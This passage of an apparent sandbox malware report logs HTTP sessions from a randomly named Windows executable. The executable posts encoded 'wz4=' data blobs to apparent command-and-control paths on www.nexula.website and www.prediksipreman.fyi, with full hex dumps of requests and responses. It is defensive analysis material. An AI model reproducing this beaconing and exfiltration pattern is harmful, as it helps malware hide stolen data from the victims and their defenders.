2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	57411	67.223.117.142	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:25:11.594302893 CET	10808	OUT	POST /ro4w/ HTTP/1.1 Host: www.nexula.website Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.nexula.website Referer: http://www.nexula.website/ro4w/ Cache-Control: no-cache Connection: close Content-Length: 10300 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko Data Raw: 77 7a 34 3d 52 35 7a 4d 34 72 59 4d 47 66 36 51 63 2b 32 47 35 41 32 6a 56 66 55 59 79 55 46 44 75 64 65 6f 59 38 6e 7a 4b 6f 4a 78 45 7a 36 55 70 4a 54 38 71 69 62 4c 41 46 36 32 46 39 45 72 4f 46 67 77 64 74 72 64 39 43 78 75 68 70 2f 69 74 68 68 56 78 79 78 7a 53 73 79 68 55 5a 39 63 4a 4c 67 4f 43 73 2f 62 43 43 70 46 74 31 74 79 72 69 78 61 41 48 66 63 62 39 33 5a 4d 45 73 30 67 56 67 57 69 46 49 38 6a 49 4b 73 4d 48 38 6c 36 61 47 44 6a 6e 33 4b 44 6e 62 69 6d 5a 51 4b 38 4d 65 78 4d 47 65 6b 6b 55 33 74 4d 75 69 31 75 7a 72 2f 4c 35 56 44 33 5a 47 52 35 50 36 57 5a 54 2b 51 65 52 32 68 41 44 52 66 55 6b 48 37 4d 67 70 38 44 6f 58 55 4f 2f 37 53 30 73 66 49 66 37 71 4d 34 54 61 64 76 69 32 74 6d 7a 44 75 70 61 6f 43 77 64 51 72 4d 54 6c 6f 49 53 7a 4c 38 76 70 59 35 79 62 59 42 32 33 4b 48 6d 4e 65 35 48 37 44 79 5a 33 75 63 63 4d 6f 43 68 74 53 39 2f 73 4a 51 4b 6e 38 36 49 4c 78 37 37 51 36 6a 50 68 52 31 51 58 33 38 77 56 38 34 58 35 57 64 37 59 45 49 69 4b 4a 56 6a 71 55 33 2f 55 4b 6c 30 [TRUNCATED] Data Ascii: wz4=R5zM4rYMGf6Qc+2G5A2jVfUYyUFDudeoY8nzKoJxEz6UpJT8qibLAF62F9ErOFgwdtrd9Cxuhp/ithhVxyxzSsyhUZ9cJLgOCs/bCCpFt1tyrixaAHfcb93ZMEs0gVgWiFI8jIKsMH8l6aGDjn3KDnbimZQK8MexMGekkU3tMui1uzr/L5VD3ZGR5P6WZT+QeR2hADRfUkH7Mgp8DoXUO/7S0sfIf7qM4Tadvi2tmzDupaoCwdQrMTloISzL8vpY5ybYB23KHmNe5H7DyZ3uccMoChtS9/sJQKn86ILx77Q6jPhR1QX38wV84X5Wd7YEIiKJVjqU3/UKl0qWfe3UUg8Or8Nedepd2GeDTSUnAHi04goi2H5jv08o7mFwsHGw2pmH7B+lbGO2slq0pK6gDtCCdUF7Q6IbrfsSgb+kWUBqE7Wqy4Km6tM5h9p7lrXEH36t6xgRQx4MST01eHLu7cIJTbFkjogEvCjAS3Z5yMKBZw7fDAKro9IZtoaFOj08E7FtIRytkRuaq+b2dFhfJCputwhh6aCRi1U5q1aoCg0snfhS2FMHQ4t65zaUx4ASiBsiTDmwYJ3IyJHSnuTJ5D3He9e8Fw2yK1P4jOxnNBwLwOPB0CWVfoOpf6uvWynqAuDswfHwRXqwurSkX5uavchDaWh4VeLWKpRmG98zBrz0YmBvgV0eVLoVaq7gnR88U0wpVLtdRZolkIc9Ne2IWZQFvoQjt/y0r98uZzRHl5pKZ7De8/yY/3W2+2cKe96eZMsprVihqMkkNBOko50gL2+5Tb+NSc9TcOw728nSS/pc3Y0Ne4lhkXQKg1oSMKJTO3h0EiJH8hAcTkYvn0B0/thlY9auKGZLZGK4Nf2jMm1lEqPq/R+hKOc0dvji1fd2Kypr1Z8yOIqvhlGVAKRxS9ZYIMrPZNsMlJR4l2wj6LjJCvHaOlJtbnGhQF40Mv9WiocPYo6yBu/tPPflfS0ECrHriwZyLzwCunHQW0qBJQdSRoEf [TRUNCATED]
Jan 14, 2025 10:25:12.197561979 CET	533	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 09:25:12 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	57427	67.223.117.142	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:25:14.141410112 CET	441	OUT	GET /ro4w/?wz4=c7bs7cBJE/6WeNDz6y7wfs4csA5ai8mWfunIFb5NDUjHoY3en1z9O1W0OakyKWwaCum+/W1z6qbtx3tl+iJ0V9nyUJg4fcAQQsDkMDUAlXZwvkRINEDVO9c=&OvV=2njD6f80EDOLQ8 HTTP/1.1 Host: www.nexula.website Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko
Jan 14, 2025 10:25:14.747024059 CET	548	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 09:25:14 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	57463	162.0.215.244	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:25:19.805500031 CET	718	OUT	POST /rpjd/ HTTP/1.1 Host: www.prediksipreman.fyi Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.prediksipreman.fyi Referer: http://www.prediksipreman.fyi/rpjd/ Cache-Control: no-cache Connection: close Content-Length: 200 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko Data Raw: 77 7a 34 3d 2f 4d 68 4a 59 67 43 32 30 48 64 71 2f 6c 34 4c 50 6c 34 72 62 7a 67 66 54 4b 5a 66 38 63 72 6f 47 33 2f 61 4a 61 46 59 72 30 79 44 49 6b 75 32 57 36 7a 54 66 46 76 67 55 36 67 6f 78 33 6f 31 4c 58 46 78 6d 74 77 6a 58 47 46 55 7a 69 37 59 43 71 6e 48 4e 58 34 52 55 4f 30 4f 43 6b 6b 39 58 32 38 30 79 30 78 76 4b 61 6e 53 61 54 4b 6b 7a 78 4d 59 50 7a 54 57 43 63 71 71 79 77 66 65 58 71 6f 64 4c 77 77 51 7a 4c 39 54 51 65 2f 74 6e 7a 38 76 6a 4c 43 4c 58 37 59 79 35 6a 35 76 4c 4e 2f 57 52 71 34 4b 32 7a 70 7a 6c 50 76 35 69 69 43 77 7a 64 49 53 33 50 34 72 6b 72 6e 79 64 41 3d 3d Data Ascii: wz4=/MhJYgC20Hdq/l4LPl4rbzgfTKZf8croG3/aJaFYr0yDIku2W6zTfFvgU6gox3o1LXFxmtwjXGFUzi7YCqnHNX4RUO0OCkk9X280y0xvKanSaTKkzxMYPzTWCcqqywfeXqodLwwQzL9TQe/tnz8vjLCLX7Yy5j5vLN/WRq4K2zpzlPv5iiCwzdIS3P4rkrnydA==
Jan 14, 2025 10:25:20.684838057 CET	1236	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Tue, 14 Jan 2025 09:25:20 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 31 33 35 41 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a eb 92 e2 4a 72 fe 7f 9e 02 b7 c3 f6 6e 68 7a 74 07 d1 db 3d bb ba 21 09 90 90 04 02 84 c3 71 42 e8 8e ae e8 0e 1b 7e 20 bf 86 9f cc 25 ba 7b 9a 66 ba cf cc 3a fc c3 35 3f 1a d5 25 2b 2b f3 cb cc 9a cc fa ed b7 df 1e ff 89 5b b0 2b 53 e5 07 41 95 c4 df 7e 7b 7c fe 33 00 ed 31 70 2d e7 db 6f 97 9f 89 5b 59 60 46 95 df bb c7 3a 6c 9e ee d8 2c ad dc b4 ba af 4e b9 7b 37 b0 9f bf 9e ee 2a b7 ab e0 9e c4 5f 06 76 60 15 a5 5b 3d d5 95 77 4f dd 7d 4a c7 b2 03 f7 be 5f 5f 64 f1 15 a1 34 bb b7 fb a1 4f 17 aa 85 e5 27 d6 3f b2 82 ef f2 b0 70 cb ab 25 c8 3b ea a9 95 b8 4f 77 4d e8 b6 79 56 54 57 d3 da d0 a9 82 27 c7 6d 42 db bd bf 7c 7c 19 84 69 58 85 56 7c 5f da 56 ec 3e a1 5f bf 93 aa c2 2a 76 bf 11 08 31 50 b2 6a 30 c9 ea d4 79 84 9f 3b 9f 45 59 56 a7 d8 1d f4 72 7b 11 97 5d 96 2f 7c f4 a2 de 67 ce 69 f0 f7 cb d4 fe b3 6f 1e 90 ce bd 67 25 61 7c 7a 18 d0 05 d8 f6 cb 40 74 e3 c6 ad 42 db fa 32 28 ad b4 bc 2f dd 22 f4 fe f2 e3 b2 32 3c bb 0f 03 94 c8 bb f7 [TRUNCATED] Data Ascii: 135AZJrnhzt=!qB~ %{f:5?%++[+SA~{\|31p-o[Y`F:l,N{7_v`[=wO}J__d4O'?p%;OwMyVTW'mB\|\|iXV\|_V>_v1Pj0y;EYVr{]/\|giog%a\|z@tB2(/"2<qAEP/3Y0gO{&8#rq'V~U_-ne[@8Dnwzf>v= %RqIDYZae7}+{io{_-/+KY\|AI?Z]V=$?Sg\_kw7Bkt7r=W3_w8MM.mYI7d#8'@Aa{y]a^^I[1w\;+^RwB7z8G{Oy-/ar^!11x(~k)X7niaz8,KX8^8;-)o3i+}dmyG;].Q>-1},vN?~0=_: +%n],yVCar+=tiz5
Jan 14, 2025 10:25:20.684899092 CET	1236	IN	Data Raw: 67 7c 42 a0 04 fe a6 86 37 7e fe 96 b8 4e 68 0d fe 94 00 47 fa a2 98 d1 90 ca bb 3f df 6c 73 8b da 9b e1 5e 78 79 56 5e 22 d4 c3 a0 70 63 e0 eb 9a 1b 03 ec e7 f4 1e 0b d8 4f fb 30 08 42 c7 71 d3 37 96 fa d1 be 5d c5 a7 0b b2 9f ed fa fd bc 37 f6 Data Ascii: g\|B7~NhG?ls^xyV^"pcO0Bq7]7}EG/CI?T^4u+"]G}H=u<^z?TWLR:\|-d^c"gCgc3Y\We+z`
Jan 14, 2025 10:25:20.684932947 CET	1236	IN	Data Raw: c7 06 fc 36 5c 94 f8 78 0e 4b 66 1b 2e 3a 5d f4 5d 7e 66 27 7b 59 1a db b6 a8 b3 4e 67 b8 a6 95 4e 72 6d 2a 33 06 27 4d ba 16 b5 83 69 c8 d0 59 12 9d f1 8e c0 63 28 ad 37 42 b2 09 22 ad 44 ac a1 39 32 c5 b5 3b 1a 61 09 5a ed 62 83 e1 83 99 34 8e Data Ascii: 6\xKf.:]]~f'{YNgNrm3'MiYc(7B"D92;aZb4i=y^,/ny8NtLfZjE?\sa(XtE6A\| E!HRv$TgZ$P.mg[tZF vF7Rwece1>n+[QX
Jan 14, 2025 10:25:20.684968948 CET	1236	IN	Data Raw: 62 8e 9d d1 86 00 46 ad 32 4d 7b 3e 2e e2 7a d5 04 1c b3 66 30 8b 90 4e 1d 4c 18 dd bc e8 28 3f 3b d9 1b c4 e0 fd 05 71 c2 e6 b8 08 19 31 b9 95 60 a2 c9 ec 61 b1 8b 68 9c c9 1b 3c 3d 78 4b 38 0d f4 11 85 02 d7 ac 0c 2b 62 e1 6e 3a ad ab a3 d4 af Data Ascii: bF2M{>.zf0NL(?;q1`ah<=xK8+bn:"h]'>VNvx/CEd!@ YQV?-,G4Y>#3CkoOvvUTPD;sf8JpS8&X u9*u@IZi5?jepK-R
Jan 14, 2025 10:25:20.685003996 CET	287	IN	Data Raw: c3 98 67 6b 7b cb 35 df 0d e0 9f 90 bf 3a d4 75 76 f9 93 b3 5c b3 ff 31 66 3f 83 d4 9f 5e 30 f5 e7 4f 45 71 39 ed 7b 45 5e 6f f7 3c fc 47 e2 02 b2 7c 27 81 67 39 dd 7d 7b 84 3f 5b f5 08 7f a4 9b 1b 34 7d c0 d7 95 67 78 65 f1 f1 b9 a2 f7 5e da bf Data Ascii: gk{5:uv\1f?^0OEq9{E^o<G\|'g9}{?[4}gxe^W+r=@VY2}zn_4V'3;"`O}(IGV[\$$-\|g>~/)~g0eCVovM3dKUJ@ppM=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	57479	162.0.215.244	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:25:22.349761009 CET	738	OUT	POST /rpjd/ HTTP/1.1 Host: www.prediksipreman.fyi Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.prediksipreman.fyi Referer: http://www.prediksipreman.fyi/rpjd/ Cache-Control: no-cache Connection: close Content-Length: 220 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko Data Raw: 77 7a 34 3d 2f 4d 68 4a 59 67 43 32 30 48 64 71 74 33 73 4c 49 79 73 72 54 7a 67 65 4e 36 5a 66 6c 4d 72 73 47 33 7a 61 4a 62 42 75 72 47 6d 44 49 45 65 32 58 37 7a 54 61 46 76 67 63 61 67 70 2f 58 6f 2b 4c 58 49 45 6d 76 6b 6a 58 47 35 55 7a 6a 4c 59 46 62 6e 45 4d 48 34 66 4e 2b 30 4d 4e 45 6b 39 58 32 38 30 79 33 4e 46 4b 63 50 53 61 69 36 6b 79 54 30 62 4d 7a 54 58 46 63 71 71 32 77 66 43 58 71 70 36 4c 78 38 36 7a 4a 31 54 51 63 33 74 67 69 38 73 74 4c 43 4a 4a 4c 59 6a 78 57 51 63 4b 63 37 59 5a 4b 6f 73 30 69 5a 42 74 70 69 6a 7a 54 6a 6e 68 64 73 68 71 49 78 66 70 6f 61 37 47 4a 76 31 76 76 79 4d 64 38 41 4d 35 6a 44 36 36 37 38 69 34 55 73 3d Data Ascii: wz4=/MhJYgC20Hdqt3sLIysrTzgeN6ZflMrsG3zaJbBurGmDIEe2X7zTaFvgcagp/Xo+LXIEmvkjXG5UzjLYFbnEMH4fN+0MNEk9X280y3NFKcPSai6kyT0bMzTXFcqq2wfCXqp6Lx86zJ1TQc3tgi8stLCJJLYjxWQcKc7YZKos0iZBtpijzTjnhdshqIxfpoa7GJv1vvyMd8AM5jD6678i4Us=
Jan 14, 2025 10:25:23.176243067 CET	1236	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Tue, 14 Jan 2025 09:25:22 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 31 33 35 41 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a eb 92 e2 4a 72 fe 7f 9e 02 b7 c3 f6 6e 68 7a 74 07 d1 db 3d bb ba 21 09 90 90 04 02 84 c3 71 42 e8 8e ae e8 0e 1b 7e 20 bf 86 9f cc 25 ba 7b 9a 66 ba cf cc 3a fc c3 35 3f 1a d5 25 2b 2b f3 cb cc 9a cc fa ed b7 df 1e ff 89 5b b0 2b 53 e5 07 41 95 c4 df 7e 7b 7c fe 33 00 ed 31 70 2d e7 db 6f 97 9f 89 5b 59 60 46 95 df bb c7 3a 6c 9e ee d8 2c ad dc b4 ba af 4e b9 7b 37 b0 9f bf 9e ee 2a b7 ab e0 9e c4 5f 06 76 60 15 a5 5b 3d d5 95 77 4f dd 7d 4a c7 b2 03 f7 be 5f 5f 64 f1 15 a1 34 bb b7 fb a1 4f 17 aa 85 e5 27 d6 3f b2 82 ef f2 b0 70 cb ab 25 c8 3b ea a9 95 b8 4f 77 4d e8 b6 79 56 54 57 d3 da d0 a9 82 27 c7 6d 42 db bd bf 7c 7c 19 84 69 58 85 56 7c 5f da 56 ec 3e a1 5f bf 93 aa c2 2a 76 bf 11 08 31 50 b2 6a 30 c9 ea d4 79 84 9f 3b 9f 45 59 56 a7 d8 1d f4 72 7b 11 97 5d 96 2f 7c f4 a2 de 67 ce 69 f0 f7 cb d4 fe b3 6f 1e 90 ce bd 67 25 61 7c 7a 18 d0 05 d8 f6 cb 40 74 e3 c6 ad 42 db fa 32 28 ad b4 bc 2f dd 22 f4 fe f2 e3 b2 32 3c bb 0f 03 94 c8 bb f7 [TRUNCATED] Data Ascii: 135AZJrnhzt=!qB~ %{f:5?%++[+SA~{\|31p-o[Y`F:l,N{7_v`[=wO}J__d4O'?p%;OwMyVTW'mB\|\|iXV\|_V>_v1Pj0y;EYVr{]/\|giog%a\|z@tB2(/"2<qAEP/3Y0gO{&8#rq'V~U_-ne[@8Dnwzf>v= %RqIDYZae7}+{io{_-/+KY\|AI?Z]V=$?Sg\_kw7Bkt7r=W3_w8MM.mYI7d#8'@Aa{y]a^^I[1w\;+^RwB7z8G{Oy-/ar^!11x(~k)X7niaz8,KX8^8;-)o3i+}dmyG;].Q>-1},vN?~0=_: +%n],yVCar+=tiz5
Jan 14, 2025 10:25:23.176279068 CET	1236	IN	Data Raw: 67 7c 42 a0 04 fe a6 86 37 7e fe 96 b8 4e 68 0d fe 94 00 47 fa a2 98 d1 90 ca bb 3f df 6c 73 8b da 9b e1 5e 78 79 56 5e 22 d4 c3 a0 70 63 e0 eb 9a 1b 03 ec e7 f4 1e 0b d8 4f fb 30 08 42 c7 71 d3 37 96 fa d1 be 5d c5 a7 0b b2 9f ed fa fd bc 37 f6 Data Ascii: g\|B7~NhG?ls^xyV^"pcO0Bq7]7}EG/CI?T^4u+"]G}H=u<^z?TWLR:\|-d^c"gCgc3Y\We+z`
Jan 14, 2025 10:25:23.176295996 CET	1236	IN	Data Raw: c7 06 fc 36 5c 94 f8 78 0e 4b 66 1b 2e 3a 5d f4 5d 7e 66 27 7b 59 1a db b6 a8 b3 4e 67 b8 a6 95 4e 72 6d 2a 33 06 27 4d ba 16 b5 83 69 c8 d0 59 12 9d f1 8e c0 63 28 ad 37 42 b2 09 22 ad 44 ac a1 39 32 c5 b5 3b 1a 61 09 5a ed 62 83 e1 83 99 34 8e Data Ascii: 6\xKf.:]]~f'{YNgNrm3'MiYc(7B"D92;aZb4i=y^,/ny8NtLfZjE?\sa(XtE6A\| E!HRv$TgZ$P.mg[tZF vF7Rwece1>n+[QX
Jan 14, 2025 10:25:23.176311970 CET	1236	IN	Data Raw: 62 8e 9d d1 86 00 46 ad 32 4d 7b 3e 2e e2 7a d5 04 1c b3 66 30 8b 90 4e 1d 4c 18 dd bc e8 28 3f 3b d9 1b c4 e0 fd 05 71 c2 e6 b8 08 19 31 b9 95 60 a2 c9 ec 61 b1 8b 68 9c c9 1b 3c 3d 78 4b 38 0d f4 11 85 02 d7 ac 0c 2b 62 e1 6e 3a ad ab a3 d4 af Data Ascii: bF2M{>.zf0NL(?;q1`ah<=xK8+bn:"h]'>VNvx/CEd!@ YQV?-,G4Y>#3CkoOvvUTPD;sf8JpS8&X u9*u@IZi5?jepK-R
Jan 14, 2025 10:25:23.176328897 CET	287	IN	Data Raw: c3 98 67 6b 7b cb 35 df 0d e0 9f 90 bf 3a d4 75 76 f9 93 b3 5c b3 ff 31 66 3f 83 d4 9f 5e 30 f5 e7 4f 45 71 39 ed 7b 45 5e 6f f7 3c fc 47 e2 02 b2 7c 27 81 67 39 dd 7d 7b 84 3f 5b f5 08 7f a4 9b 1b 34 7d c0 d7 95 67 78 65 f1 f1 b9 a2 f7 5e da bf Data Ascii: gk{5:uv\1f?^0OEq9{E^o<G\|'g9}{?[4}gxe^W+r=@VY2}zn_4V'3;"`O}(IGV[\$$-\|g>~/)~g0eCVovM3dKUJ@ppM=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	57496	162.0.215.244	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:25:24.897861958 CET	10820	OUT	POST /rpjd/ HTTP/1.1 Host: www.prediksipreman.fyi Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.prediksipreman.fyi Referer: http://www.prediksipreman.fyi/rpjd/ Cache-Control: no-cache Connection: close Content-Length: 10300 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko Data Raw: 77 7a 34 3d 2f 4d 68 4a 59 67 43 32 30 48 64 71 74 33 73 4c 49 79 73 72 54 7a 67 65 4e 36 5a 66 6c 4d 72 73 47 33 7a 61 4a 62 42 75 72 47 65 44 49 58 57 32 57 59 62 54 5a 46 76 67 41 4b 67 6b 2f 58 6f 76 4c 58 41 66 6d 76 5a 57 58 44 39 55 69 78 44 59 45 75 48 45 44 48 34 66 46 65 30 4e 43 6b 6b 6b 58 32 73 77 79 33 64 46 4b 63 50 53 61 68 79 6b 30 42 4d 62 41 54 54 57 43 63 71 6d 79 77 66 6d 58 71 41 46 4c 78 6f 41 79 39 35 54 51 38 6e 74 69 55 41 73 68 4c 43 50 49 4c 5a 2b 78 57 55 44 4b 59 61 6e 5a 4a 30 57 30 69 74 42 76 38 2f 35 71 47 44 44 6c 63 35 35 33 2f 64 6b 6c 61 53 63 43 36 79 56 75 72 43 35 47 4d 41 4a 33 52 4f 4a 68 4b 67 7a 71 42 6d 4b 6b 47 66 51 6e 56 79 6e 4d 38 72 62 31 64 2b 5a 77 6d 71 59 77 53 44 64 5a 66 53 4e 37 71 4d 6b 42 54 35 2b 72 76 39 77 61 57 34 53 35 44 65 65 68 4f 49 79 74 6c 65 2f 59 62 71 54 6b 6a 70 6e 69 39 38 79 67 4f 79 68 41 6b 5a 62 42 4c 2b 73 44 70 2b 49 65 71 6e 2b 6e 79 53 31 53 71 47 64 34 50 59 51 67 6a 49 76 48 79 32 37 32 67 61 32 4b 6f 73 6a 47 31 [TRUNCATED] Data Ascii: wz4=/MhJYgC20Hdqt3sLIysrTzgeN6ZflMrsG3zaJbBurGeDIXW2WYbTZFvgAKgk/XovLXAfmvZWXD9UixDYEuHEDH4fFe0NCkkkX2swy3dFKcPSahyk0BMbATTWCcqmywfmXqAFLxoAy95TQ8ntiUAshLCPILZ+xWUDKYanZJ0W0itBv8/5qGDDlc553/dklaScC6yVurC5GMAJ3ROJhKgzqBmKkGfQnVynM8rb1d+ZwmqYwSDdZfSN7qMkBT5+rv9waW4S5DeehOIytle/YbqTkjpni98ygOyhAkZbBL+sDp+Ieqn+nyS1SqGd4PYQgjIvHy272ga2KosjG1c1qaJKX9BmU+VlgnfwZI4Dm6ucITafBQ6e0Ujp2mXXLkluSyHClfDFtGIM5X/kLBH5RJ/SglSFD+xL471yWx7dJXnuj8vxx6DTEj8KwivPflgaRWUBRV92nHZzKAyMwE/4Fg8rdrhbIyZj5dKlTKlfK2TxSZJzlkusoB9/mIee0K692VOTB+c2ZrJJJxNz1ym6gIUESRwUGHUb9Q/0ZBevRlPvofdmVDvDlUuhfHn7CnNk587ErOAIDJ3bk65+KqcVv85+vBik4h36RMaYK8WeO4FiNyTz6INqB+D0eY9